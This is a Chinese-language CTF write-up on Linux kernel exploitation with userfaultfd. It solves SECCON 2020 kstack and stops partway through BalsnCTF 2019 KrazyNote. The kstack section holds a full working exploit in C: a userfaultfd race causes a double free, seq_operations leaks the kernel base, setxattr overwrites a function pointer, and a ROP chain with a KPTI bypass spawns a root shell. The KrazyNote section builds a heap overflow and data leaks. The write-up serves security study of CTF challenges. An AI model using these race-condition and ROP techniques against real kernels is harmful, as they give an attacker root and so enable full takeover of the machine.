userfaulfd 简介
内核内存包含两个部分:RAM,保存即将被使用的内存页;交换区,保存暂时闲置的内存页。然而有的内存即不在 RAM,也不在 交换区中,例如 mmap创建的内存映射页。在内核 read、write操作 mmap分配的内存前,内核并没有将该内存页映射到实际的物理页中。而当内核读取 mmap分配的内存页时,内核则会进行一下步骤为 mmap的内存页映射一个实际的物理页:
- 为 mmap内存页地址建立物理帧;
- 读内容到 该物理帧;
- 在页表中标记入口,以识别 0x1337000虚地址。
这个整个过程,可以称作发生了一次缺页错误,将会导致内核切换上下文和中断。
而 userfaultfd机制可以让用户来监管此类缺页错误,并在用户空间完成对这类错误的处理。也就是一旦我们在内核触发了一次缺页错误,可以利用用户态的程序去穿插执行一些操作,这为我们内核条件竞争的利用提供了很大方便。
基本步骤
创建一个描述符 uffd
要使用 userfaultfd,需要先创建一个 uffd
// userfaultfd系统调用创建并返回一个uffd,类似一个文件的fd
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
之后所有的注册内存区间、配置和最终的缺页处理都需要用 ioctl对这个 uffd操作实现。ioctl-userfaultfd支持 UFFDIO_API、UFFDIO_REGISTER、UFFDIO_UNREGISTER、UFFDIO_COPY、UFFDIO_ZEROPAGE、UFFDIO_WAKE等选项。其中 UFFDIO_REGISTER可以用于向 userfaultfd机制注册一个监视去也。UFFDIO_COPY可用于当发生缺页错误时,向缺页的地址拷贝自定义的数据。
# 2 个用于注册、注销的ioctl选项:
UFFDIO_REGISTER 注册将触发user-fault的内存地址
UFFDIO_UNREGISTER 注销将触发user-fault的内存地址
# 3 个用于处理user-fault事件的ioctl选项:
UFFDIO_COPY 用已知数据填充user-fault页
UFFDIO_ZEROPAGE 将user-fault页填零
UFFDIO_WAKE 用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKE 和
UFFDIO_ZEROPAGE_MODE_DONTWAKE模式实现批量填充
注册监视区域
然后,需要为监视的内存进行注册。这里使用上述提到的 UFFDIO_REGISETR操作:
addr = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)
// addr 和 len 分别是我匿名映射返回的地址和长度,赋值到uffdio_register
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
// mode 只支持 UFFDIO_REGISTER_MODE_MISSING
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
// 用ioctl的UFFDIO_REGISTER注册
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
这里,需要指定的 监视的 地址和长度,然后调用 ioctl进行注册。
创建一个专用的线程轮询和处理 user-fault事件
然后,需要创建一个线程用于轮询和处理 user-fault事件。这里可以重启一个线程,因为需要轮询,避免阻塞主线程。
// 主进程中调用pthread_create创建一个fault handler线程
pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
在子线程中,使用 poll函数轮询 uffd,当轮询到缺页事件后,可以先写上自己的处理代码,随后用轮询到的 UFFD_EVENT_PAGEFAULT事件用上述提到的 UFFDIO_COPY拷贝数据到缺页处。
static void * fault_handler_thread(void *arg)
{
// 轮询uffd读到的信息需要存在一个struct uffd_msg对象中
static struct uffd_msg msg;
// ioctl的UFFDIO_COPY选项需要我们构造一个struct uffdio_copy对象
struct uffdio_copy uffdio_copy;
uffd = (long) arg;
......
for (;;) { // 此线程不断进行polling,所以是死循环
// poll需要我们构造一个struct pollfd对象
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
poll(&pollfd, 1, -1);
// 读出user-fault相关信息
read(uffd, &msg, sizeof(msg));
// 对于我们所注册的一般user-fault功能,都应是UFFD_EVENT_PAGEFAULT这个事件
assert(msg.event == UFFD_EVENT_PAGEFAULT);
//我们自己的处理代码
// 构造uffdio_copy进而调用ioctl-UFFDIO_COPY处理这个user-fault
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
// page(我们已有的一个页大小的数据)中page_size大小的内容将被拷贝到新分配的msg.arg.pagefault.address内存页中
ioctl(uffd, UFFDIO_COPY, &uffdio_copy);
......
}
}
而在上述的处理函数中,穿插的我们自己的处理代码,就可以帮助实现条件竞争。
2020-SECCON kstack
程序分析
__int64 proc_init()
{
proc_file_entry = proc_create("stack", 0LL, 0LL, &proc_file_fops);
return proc_file_entry == 0 ? 0xFFFFFFF4 : 0;
}
在 proc_init中注册了一个 proc_file_fops结构体,然后将该结构体的 unlocked_ioctl设置为了 proc_ioctl函数,该函数如下:
__int64 __fastcall proc_ioctl(__int64 a1, int a2, __int64 a3)
{
int v4; // er12
__int64 head_chunk; // r13
__int64 chunk1; // rbx
__int64 result; // rax
__int64 chunk; // rbx
__int64 v9; // rax
v4 = *(_DWORD *)(__readgsqword((unsigned int)¤t_task) + 0x35C);
if ( a2 == 1470889985 )
{
chunk = kmem_cache_alloc(kmalloc_caches[5], 0x6000C0LL);
*(_DWORD *)chunk = v4;
v9 = head;
head = chunk;
*(_QWORD *)(chunk + 16) = v9;
if ( !copy_from_user(chunk + 8, a3, 8LL) )
return 0LL;
head = *(_QWORD *)(chunk + 16);
kfree(chunk);
result = -22LL;
}
else
{
if ( a2 != 0x57AC0002 )
return 0LL;
head_chunk = head;
if ( !head )
return 0LL;
if ( v4 == *(_DWORD *)head )
{
if ( !copy_to_user(a3, head + 8, 8LL) )
{
chunk1 = head_chunk;
head = *(_QWORD *)(head_chunk + 16);
goto LABEL_12;
}
}
else
{
chunk1 = *(_QWORD *)(head + 16);
if ( chunk1 )
{
while ( *(_DWORD *)chunk1 != v4 )
{
head_chunk = chunk1;
if ( !*(_QWORD *)(chunk1 + 16) )
goto LABEL_16;
chunk1 = *(_QWORD *)(chunk1 + 16);
}
if ( !copy_to_user(a3, chunk1 + 8, 8LL) )
{
*(_QWORD *)(head_chunk + 16) = *(_QWORD *)(chunk1 + 16);
LABEL_12:
kfree(chunk1);
return 0LL;
}
}
}
LABEL_16:
result = -22LL;
}
return result;
}
题目名称就叫 kstack,所以意图很明显就是模拟了一个 stack的push和 pop过程,head就是 栈顶 rsp,head+0x10指向了下一个栈结构。
其中 push,会先申请一个 0x20的 slub,然后将 0x8处存上用户输入的数据,将 0x10处 赋值为 head,再将该 slub释放掉,将 head指针还原为 slub+0x10。
pop,会根据 v4从当前栈顶 head开始找到符合要求的 slub,将 0x8的数据输出给用户,然后将 该 slub释放掉。
程序总体流程没什么明显的漏洞,但是其处理函数是 unlocked_ioctl类型,而该类型是不使用内核提供的全局同步锁。所以这里就存在多线程竞争的漏洞。比如两个线程同时执行 pop,那么有可能存在当线程 1执行到 已经取得 需要 释放的 slub地址时,线程2 已经将 该 slub释放掉,然后 线程1 再次释放该 slub,最终导致一个 double free漏洞。
而这里为了保证多线程竞争的百分百成功率,可以考虑 userfaultfd,来构造一个百分百成功的 double free漏洞。
利用分析
- double free 漏洞构造
关于 userfaultfd的原理,在之前已经讲述过。这里和之前唯一不同的是,我们在处理线程中创建一个循环,不断使用 pool来等待 userfault fd,然后读取 uffd msg。在后面写上自己的处理函数,这样就能一直针对缺页错误,进行一次 hook处理。
for (;;) {
/* See what poll() tells us about the userfaultfd */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
printf("\nfault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", nready,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);
/* Read an event from the userfaultfd */
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}
if (nread == -1)
errExit("read");
//input your code
...
那么,这里我们只需要在 handler中,写上针对不同缺页错误的,不同处理方式就可以。这里我们第一次调用缺页错误是为了构造一个 double free,构造的方式是 在执行一次 pop的 kfree之前,穿插执行一次 pop。所以我们利用 pop来构造一个 缺页错误。并在handle中再次执行一次 pop,这样就可以将同一个 slub执行两次释放,造成一个 double free错误。
handle中处理函数如下:
puts("First Double Free");
Output(&value);
printf("[+] faultd free ok, popped: %016lx\n", value);
break;
缺页错误触发如下,由于这里的 fault_ptr是由 mmap创建的,所以会产生一个缺页错误。
puts("Doubel free:");
Output(fault_ptr);
puts(" 1 double free ok");
usleep(300);
这里简单分析一下这个double free的总体执行流程:
主线程: handler:
Output(fault_ptr)
copy_to_user(fault_ptr)触发缺页错误
Output(value)
copy_to_user(value)
kfree(slub) //第一次释放slub
ioctl(uffd, UFFDIO_COPY, &uffdio_copy) //恢复主线程的copy_to_user
kfree(slub) //造成double free
- 泄露地址
这里由于 slub 大小只有 0x20,所以这里不能选用 tty_struct,这里可以选用 seq_operations结构体,其大小也为 0x20,而且其包含了4个函数指针,可以便于我们泄露地址:
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
其使用方法如下:
int victim = open("/proc/self/stat", O_RDONLY); //申请kmalloc-32 slub
read(victim, buf, 1); // call start
我们可以先申请一个 seq_operations结构体,其会分配为第一步中释放的 slub。
然后这里我们不能够直接使用 pop读取出来,因为 此时 head链表中已经没有该 slub,我们需要先利用 push将该 slub申请回来。但是我们又不能直接使用 push,因为 push会将申请的 slub+0x8的数据覆盖,而 pop只能读取 slub+0x8的数据。所以这里又要利用一次 userfault来使得 push在执行到 kmalloc后 和 copy_from_user之前前,先利用 pop将 head中的 slub读取出来,最后再执行 copy_from_user。
这里 handle处理函数如下:
// overlap Element and seq_operations (caused by push)
puts("Second Output to get kernel_addr");
Output(&value);
printf("[+] fault get addr ok, popped: %016lx\n", value);
kernel_base = value - offset;
break;
其触发方法如下:
puts("leak kernel_addr:");
int fd1 = open("/proc/self/stat", O_RDONLY);
if(fd1 < 0 ){
Err("Alloc stat");
}
Input(fault_ptr+0x1000);
printf("Got kernel_base: 0x%llx\n",kernel_base);
usleep(300);
- 再次构造一个 double free
- 覆盖函数指针
这里覆盖函数指针的方法,用到了 userfault+setxattr和 seq_operations结合。先堆喷一个 seq_operations结构体,再利用 sexattr来 修改 seq_operations结构体中的函数指针。
堆喷 seq_operations结构体:
// overlap seq_operations and setxattr buffer (cause by setxattr)
puts("Fourth alloc seq_operations");
victim_fd = open("/proc/self/stat", O_RDONLY);
printf("[+] alloc ok, victim fd: %d\n", victim_fd);
经过上面的操作,就会将第3步构造的 double free的 一个 slub分配给 seq_operations结构体。
然后,再将剩下的一个 slub分配给 setxattr,然后利用 setxattr来修改 该 slub的前 0x20字节。当 sexattr修改了slub的前 0x20字节,那么此时 seq_operation结构体的前 0x20字节的指针也被修改了。然后选择将 start指针修改为 栈迁移的 gadget。
char* data[0x30] = { 0 };
memset(data, '0', 0x30);
*(unsigned long*)((unsigned long)data+0x18) = kernel_base+stack_pivot;
setxattr("/tmp", "seccon",
(void*)((unsigned long)data),
0x20, XATTR_CREATE);
puts("change ok");
这里栈迁移的 gadget选择,没有选择之前的 xchg指令,而是选择了 mov esp, 0x5d000010的 gadget更加方便。我们只需要将 rop布置在 0x5d000010的位置即可。
- 构造 ROP
ROP的构造就是很经典的方法,不过这里注意开启了 KPTI,所以需要绕过 KPTI保护。这里可以使用 修改 cr3寄存器的方法,但我选择使用另一种方法就是直接利用 swapgs_restore_regs_and_return_to_usermode这个函数返回,即可实现绕过 KPTI并且返回到用用户层。然后这里注意,使用该方法返回到用户层时,user_sp需要设置为一个 可执行的地址。这里就选择之前 mmap分配的一块地址即可,否则会被一个段错误。当然这个段错误也可以通过 signal捕获,然后再次执行 system来绕过。
EXP
// gcc -static -pthread exp.c -g -o exp
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <poll.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
int fd = 0;
char bf[0x100] = { 0 };
size_t fault_ptr;
size_t fault_len = 0x4000;
size_t kernel_base = 0x0;
size_t offset = 0x13be80;
size_t victim_fd = 0;
size_t stack_pivot = 0x02cae0;
size_t preapre_kernel_cred = 0x069e00;
size_t commit_creds = 0x069c10;
size_t p_rdi_r = 0x034505;
size_t mov_rdi_rax_p_rbp_r = 0x01877f;
size_t swapgs = 0x03ef24;
size_t iretq = 0x01d5c6;
size_t kpti_bypass = 0x600a4a;
size_t user_cs, user_ss, user_sp, user_rflags;
void Err(char* buf){
printf("%s Error\n", buf);
exit(-1);
}
void fatal(const char *msg) {
perror(msg);
exit(1);
}
void savestatus(){
asm("movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:: "memory");
}
void get_shell(){
if(!getuid()){
puts("Root Now!");
//system("/bin/sh");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
}
void Input(char* buf){
if(-1 == ioctl(fd, 1470889985, buf)){
Err("Input");
}
puts(" [=] input ok");
}
void Output(char* buf){
if(-1 == ioctl(fd, 1470889986, buf)){
Err("Output");
}
puts(" [=] output ok");
}
int page_size;
void* handler(void *arg){
unsigned long value;
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;
static char *page = NULL;
struct uffdio_copy uffdio_copy;
int len, i;
if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) fatal("mmap (userfaultfd)");
}
uffd = (long)arg;
for(;;) {
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
len = poll(&pollfd, 1, -1);
if (len == -1) fatal("poll");
printf("[+] fault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", len,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);
len = read(uffd, &msg, sizeof(msg));
if (len == 0) fatal("userfaultfd EOF");
if (len == -1) fatal("read");
if (msg.event != UFFD_EVENT_PAGEFAULT) fatal("msg.event");
printf("[+] UFFD_EVENT_PAGEFAULT event: \n");
printf(" flags = 0x%lx\n", msg.arg.pagefault.flags);
printf(" address = 0x%lx\n", msg.arg.pagefault.address);
printf("[!] fault_cnt: %d\n",fault_cnt);
switch(fault_cnt) {
case 0:
puts(" [1.1] First Double Free");
Output(&value);
printf(" [1.1] faultd free ok, popped: %016lx\n", value);
break;
case 1:
// overlap Element and seq_operations (caused by push)
puts(" [2.1] Second Output to get kernel_addr");
Output(&value);
printf(" [2.1] fault get addr ok, popped: %016lx\n", value);
kernel_base = value - offset;
break;
case 2:
// double free (caused by pop)
puts(" [3.1]Third Double free");
Output(&value);
printf(" [3.1]fault free ok, popped: %016lx\n", value);
break;
default:
puts("ponta!");
getchar();
break;
}
// return to kernel-land
uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) fatal("ioctl: UFFDIO_COPY");
printf("[+] uffdio_copy.copy = %ld\n", uffdio_copy.copy);
fault_cnt++;
}
}
size_t register_userfault(size_t addr, size_t len){
long uffd;
// char *addr;
// size_t len = 0x1000;
pthread_t thr;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
// new userfaulfd
page_size = sysconf(_SC_PAGE_SIZE);
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
{
puts("userfaultfd\n");
exit(-1);
}
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) // create the user fault fd
{
puts("ioctl uffd err\n");
exit(-1);
}
// addr = mmap(NULL, len, PROT_READ | PROT_WRITE, //create page used for user fault
// MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
// if (addr == MAP_FAILED)
// {
// puts("map err\n");
// exit(-1);
// }
printf("Address returned by mmap() = %p\n", addr);
uffdio_register.range.start = (size_t) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)//注册页地址与错误处理fd,这样只要copy_from_user
// //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
{
puts("ioctl register err\n");
exit(-1);
}
s = pthread_create(&thr, NULL, handler, (void *) uffd); //handler函数进行访存错误处理
if (s != 0) {
errno = s;
puts("pthread create err\n");
exit(-1);
}
return addr;
}
void prepare_ROP(){
char* rop_mem = mmap((void*)0x5d000000 - 0x8000, 0x10000,
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON | MAP_POPULATE, -1, 0);
unsigned long* rop_addr = (unsigned long*)(rop_mem+0x8000+0x10);
int i = 0;
rop_addr[i++] = p_rdi_r+kernel_base;
rop_addr[i++] = 0;
rop_addr[i++] = preapre_kernel_cred+kernel_base;
rop_addr[i++] = mov_rdi_rax_p_rbp_r+kernel_base;
rop_addr[i++] = 0;
rop_addr[i++] = commit_creds+kernel_base;
// rop_addr[i++] = swapgs+kernel_base;
// rop_addr[i++] = 0;
// rop_addr[i++] = iretq+kernel_base;
rop_addr[i++] = kpti_bypass+kernel_base;
rop_addr[i++] = 0;
rop_addr[i++] = 0;
rop_addr[i++] = get_shell;
rop_addr[i++] = user_cs;
rop_addr[i++] = user_rflags;
rop_addr[i++] = 0x5d000000-0x8000+0x900;
rop_addr[i++] = user_ss;
}
int main(){
savestatus();
//register page fault
fault_ptr = mmap(NULL, fault_len, PROT_READ | PROT_WRITE, //create page used for user fault
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (fault_ptr == MAP_FAILED)
{
puts("map err\n");
exit(-1);
}
register_userfault(fault_ptr, fault_len);
fd = open("/proc/stack", O_RDONLY);
if(fd < 0){
Err("Open dev");
}
char* buf = malloc(0x100);
memset(buf, "a", 0x100);
//fault_ptr = register_userfault();
Input(buf);
memset(buf, "b", 0x100);
Input(buf);
puts("[1] Doubel free:");
Output(fault_ptr);
puts("[1] double free ok");
usleep(300);
puts("[2] leak kernel_addr:");
int fd1 = open("/proc/self/stat", O_RDONLY);
if(fd1 < 0 ){
Err("Alloc stat");
}
Input(fault_ptr+0x1000);
printf("[2] Got kernel_base: 0x%llx\n",kernel_base);
usleep(300);
puts("[3] Doubel free again");
Input(buf);
Output(fault_ptr+0x2000);
puts("[3] double free ok");
usleep(300);
//prepare data
char* data[0x30] = { 0 };
memset(data, '0', 0x30);
*(unsigned long*)((unsigned long)data+0x18) = kernel_base+stack_pivot;
puts("[4] Setxattr to change seq_operations->star ptr");
puts(" [4.1] Fourth alloc seq_operations");
victim_fd = open("/proc/self/stat", O_RDONLY);
printf(" [4.1] alloc ok, victim fd: %d\n", victim_fd);
setxattr("/tmp", "seccon",
(void*)((unsigned long)data),
0x20, XATTR_CREATE);
puts("[4] change ok");
usleep(300);
puts("[5] Prepare ROP");
prepare_ROP();
puts("[6] Trigger vul");
read(victim_fd, buf, 1);
return 0;
}
2019-BalsnCTF KrazyNote
程序分析
__int64 __fastcall init_module(__int64 a1, __int64 a2)
{
_fentry__(a1, a2);
bufptr = (__int64)&unk_B60;
return misc_register(&unk_620);
}
程序首先注册了一个 unk_B60结构,该结构体为 miscdevice
struct miscdevice {
int minor;
const char *name;
const struct file_operations *fops;
struct list_head list;
struct device *parent;
struct device *this_device;
const struct attribute_group **groups;
const char *nodename;
umode_t mode;
};
然后,可以看一下 其中 fops注册的结构 file_operations:
// file_operations结构
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
int (*iopoll)(struct kiocb *kiocb, bool spin);
int (*iterate) (struct file *, struct dir_context *);
int (*iterate_shared) (struct file *, struct dir_context *);
__poll_t (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
... truncated
};
可以看到该结构体,是对 file进行操作的结构体。我们看一下数据,会发现该结构体中,就有两个地方定义了函数 sub_10和 sub_0。而这两个地方刚好对应结构体的 unlocked_ioctl和 open指针,其他都是null。unlocked_ioctl和compat_ioctl有区别,unlocked_ioctl不使用内核提供的全局同步锁,所有的同步原语需自己实现,所以可能存在条件竞争漏洞。
sub_0函数没什么东西,我们主要具体分析 unlocked_ioctl对应的sub_10函数,其主要实现了 new\edit\show\delete
功能。然后主要有两个结构体,一个是 note,一个是用户传入的结构体 noteRequest :
// note结构——存储的note
struct note {
unsigned long key;
unsigned char length;
void *contentPtr;
char content[];
}
// noteRequest结构——用户参数
struct noteRequest{
size_t idx;
size_t length;
size_t userptr;
}
note中 key是用于加密存储数据的,length是数据的长度,content[]是一个动态数组的地址,用于存储数据;而 contentPtr=¬e->content - page_offset_base,别名页的地址是[SOME_OFFSET + physical address],page_offset_base就是这个SOME_OFFSET。
if ( (unsigned int)a2 <= 0xFFFFFF01 )
{
if ( (_DWORD)a2 != -256 ) // New
return -25LL;
idx = -1LL;
v7 = 0LL;
while ( 1 ) // get freed note
{
idx1 = (int)v7;
if ( !note_list[v7] )
break;
if ( ++v7 == 16 )
return -14LL;
}
new_note = (_QWORD *)bufptr;
idx = idx1;
note_list[idx1] = bufptr;
new_note[1] = note_length1;
v21 = (char *)(new_note + 3);
*new_note = *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 2024) + 80LL);
v22 = n;
v23 = userbuf1;
bufptr = (__int64)new_note + n + 24; // get next free mem
if ( n > 0x100 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 256LL, n);
BUG();
}
_check_object_size(encbuf, n, 0LL);
copy_from_user(encbuf, v23, v22);
v24 = n;
v25 = (_QWORD *)note_list[idx];
if ( n )
{
v26 = 0LL;
do
{
encbuf[v26 / 8] ^= *v25;
v26 += 8LL;
}
while ( v26 < v24 );
}
memcpy(v21, encbuf, v24);
result = 0LL;
v25[2] = &v21[-page_offset_base];
}
New函数中,会首先从 note_list中得到空闲的note的idx,然后从 bufptr中取出空闲的地址,并将其赋值给 note结构,然后依次赋值 length 和 contentPtr。并将 bufptr指向下一处空闲地址,随后取出 encbuf,将用户数据拷贝到 encbuf,然后依次使用 key加密,最后将加密数据拷贝到 note->content。
if ( (_DWORD)a2 == 0xFFFFFF01 ) // Edit
{
note = note_list[idx2];
if ( note )
{
note_length = *(unsigned __int8 *)(note + 8);
user_buf1 = userbuf1;
contentArr1 = (_QWORD *)(*(_QWORD *)(note + 16) + page_offset_base);
_check_object_size(encbuf, note_length, 0LL);
copy_from_user(encbuf, user_buf1, note_length);// get user new input
if ( note_length )
{
key = (_QWORD *)note_list[idx];
for ( i = 0LL; i < note_length; i += 8LL )
encbuf[i / 8] ^= *key; // enc new data
if ( (unsigned int)note_length >= 8 )
{
*contentArr1 = encbuf[0];
*(_QWORD *)((char *)contentArr1 + (unsigned int)note_length - 8) = *(__int64 *)((char *)&userbuf1
+ (unsigned int)note_length);
result = 0LL;
qmemcpy( // copy new data to contentArr
(void *)((unsigned __int64)(contentArr1 + 1) & 0xFFFFFFFFFFFFFFF8LL),
(const void *)((char *)encbuf
- ((char *)contentArr1
- ((unsigned __int64)(contentArr1 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
8LL
* (((unsigned int)note_length + (_DWORD)contentArr1 - (((_DWORD)contentArr1 + 8) & 0xFFFFFFF8)) >> 3));
return result;
}
}
Edit看着有点乱,但是总体逻辑还是 将用户输入 通过 copy_from_user拷贝到 encbuf,然后取出 note->content地址,将 encbuf数据加密后,拷贝到 note->content中。这里 注意: copy_from_user并不是原子性的操作,也并没有上锁,按照我们之前的分析缺页可以让其有一个很大的空窗期供我们操作,进而利用竞争改掉某些关键数据
if ( (_DWORD)a2 != -254 )
{
note_ptr = note_list;
if ( (_DWORD)a2 == -253 ) // delete
{
do
*note_ptr++ = 0LL;
while ( &_check_object_size != (__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD))note_ptr );
result = 0LL;
bufptr = (__int64)&unk_B60;
memset(&unk_B60, 0, 0x2000uLL);
return result;
}
return -25LL;
}
delete函数很简单,将相应 note都清空,然后将 bufptr里都赋值为 0。
if ( note2 ) // Show
{
userlen2 = *(unsigned __int8 *)(note2 + 8);
contentArr2 = (_DWORD *)(*(_QWORD *)(note2 + 16) + page_offset_base);
if ( (unsigned int)userlen2 >= 8 )
{
*(__int64 *)((char *)&userbuf1 + *(unsigned __int8 *)(note2 + 8)) = *(_QWORD *)((char *)contentArr2
+ *(unsigned __int8 *)(note2 + 8)
- 8);
qmemcpy(encbuf, contentArr2, 8LL * ((unsigned int)(userlen2 - 1) >> 3));
}
else if ( (userlen2 & 4) != 0 )
{
LODWORD(encbuf[0]) = *contentArr2;
*(_DWORD *)((char *)encbuf + (unsigned int)userlen2 - 4) = *(_DWORD *)((char *)contentArr2
+ (unsigned int)userlen2
- 4);
}
else if ( *(_BYTE *)(note2 + 8) )
{
LOBYTE(encbuf[0]) = *(_BYTE *)contentArr2;
if ( (userlen2 & 2) != 0 )
*(_WORD *)((char *)encbuf + (unsigned int)userlen2 - 2) = *(_WORD *)((char *)contentArr2
+ (unsigned int)userlen2
- 2);
}
if ( userlen2 )
{
for ( j = 0LL; j < userlen2; j += 8LL )
encbuf[j / 8] ^= *(_QWORD *)note2; // dec data
}
user_buf2 = userbuf1;
_check_object_size(encbuf, userlen2, 1LL);
copy_to_user(user_buf2, encbuf, userlen2);
result = 0LL;
}
show函数,取出 note->content中加密的数据,解密后,使用 copy_to_user拷贝给用户空间。
利用分析
上面已经将 程序漏洞说明 是位于 Edit中 copy_from_user并非原子操作,其十分耗时,导致我们可以利用这个空闲时间,使用 userfault来执行某些操作,条件竞争制造漏洞。
- 缓冲区溢出构造
我们首先需要构造一个 堆溢出漏洞。先 New(buffer, 0x10),创建 note[0]。此时在空闲内存中的布局为,一个 note_struct的空间,加上 0x10的buf空间。
note_struct //note[0]
0x10 buf
然后 按照上面 userfaultfd的处理流程,先使用 register_userfault()注册一个 userfaultfd处理程序。然后使用 Edit(0,1 PAGE_FAULT)。这里我们将 PAGE_FAULT定义为 一个地址,这里 Edit函数 会对该 地址指向的内存 进行访问,而这个地址并没有相应的页面映射,所以这里就会造成一次 userfaultfd错误,然后我们就可以使用我们自己的注册 userfaultfd处理程序来接管程序,从而在 一次内核操作中,完成属于我们自己的操作。从而造成条件竞争。
我们在自己的 handler函数中,完成了如下步骤:
//现在主线程停在copy_from_user函数了,可以进行利用了
delete();
create(buffer, 0);
create(buffer, 0);
// 原始内存:note0 struct + 0x10 buffer
// 当前内存:note0 struct + note1 struct
// 当主线程继续拷贝时,就会破坏note1区域
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构,虽然没用
errExit("[-] Error in reading uffd_msg");
struct uffdio_copy uc;
memset(buffer, 0, sizeof(buffer));
buffer[8] = 0xf0; //把note1 的length改成0xf0
uc.src = (unsigned long)buffer;
uc.dst = (unsigned long)FAULT_PAGE;
uc.len = 0x1000;
uc.mode = 0;
ioctl(uffd, UFFDIO_COPY, &uc); // 恢复执行copy_from_user
puts("[+] done 1");
return NULL;
可以看到,我们先删掉了 note[0]
,然后又创建了 两个 note,大小都为0。而这里我们新创建的new_note[0]
(这里我以 new_note[0]来区分我们最开始创建的 note[0]) 与 note[0]就发生了 内存共用,而 note[1]的 结构体刚好为 note[0]的buf区域,也即我们后续可以通过 edit(note[0])来修改 note[1]结构体的内容。此时内存布局如下:
note_struct //new_note[0]
note_struct //note[1]
然后,我们在 handler中,还将 note[0].buf[8]处的值改为了 0xff,而这个地址在 新内存布局中,刚好对应 note[1].length,所以这里 实现了 一个缓冲区溢出漏洞。
- 泄露数据
完成漏洞构造后,接下来我们就要选择泄露数据。
首先,可以利用 note[1]泄露 key,因为此时 note[1]的大小被改为了 0xff,其原本数据为 0x0,但输出时会进行解密 0^key=key,所以 能够把 key泄露出来。
然后这里后续提权,不管是用到 覆写 cred结构体,还是使用 modprobe_path的方法都必须知道 page_offset_base。因为不管是用 Edit还是 Show函数中,获取当前 note存储数据的地址,都是使用 cotentPtr+page_offset_base来获得,如下所示。那么就有一个很重要的点,当我们能修改 contentPtr后,我们就能够 写和泄露 指定地址的值。而前提就是 我们知道 page_offset_base的值。
//Edit
contentArr1 = (_QWORD *)(*(_QWORD *)(note + 16) + page_offset_base);
//Show
contentArr2 = (_DWORD *)(*(_QWORD *)(note2 + 16) + page_offset_base);
而这里为了构造一个符合我们目标的 contentPtr,我们需要先泄露当前 正确的 contentPtr值。这点我们很容易做到。只需要再创建一个 New(buffer, 0),那么此时内存布局如下,我们输出 Show(note[1])时,其 buf[0x10]处的值即为 key^contentPtr_note2。
这样我们就把 note[2]的 contentPtr泄露出来了。
note_struct //new_note[0]
note_struct //note[1]
note_struct //note[2]
